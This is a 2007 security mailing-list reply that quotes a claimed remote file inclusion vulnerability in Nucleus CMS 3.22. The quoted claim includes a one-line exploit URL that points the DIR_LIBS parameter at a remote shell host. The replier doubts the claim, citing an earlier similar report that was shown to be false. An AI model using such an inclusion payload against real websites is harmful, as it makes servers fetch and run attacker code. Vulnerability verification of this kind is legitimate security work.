From: security curmudgeon (jerichoattrition.org)
Date: Sat May 05 2007 - 22:52:32 CDT

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: VENDOR :http://nucleuscms.org/
: BY : s3rv3r_hack3r (hackerz.ir admin)
: bug:
: nucleus3.22/nucleus/plugins/skinfiles/index.php = include($DIR_LIBS . 'PLUGINADMIN.php');
: Exloit:
: http://victim/nucleus/plugins/skinfiles/index.php?DIR_LIBS=http://shell

I haven't examined the source code to this, but on June 16, 2006,
gamr-14hotmail.com disclosed RFI vulnerabilities [1] in four Nucleus
scripts, all with the DIR_LIBS variable as the injection point. This was
subsequently proven to be a false report as the variable was previously
set and could not be manipulated by an attacker.

Have you actually tested this, or is this based on a quick grep of the
source code?

- jericho

[1] http://archives.neohapsis.com/archives/bugtraq/2006-06/0321.html

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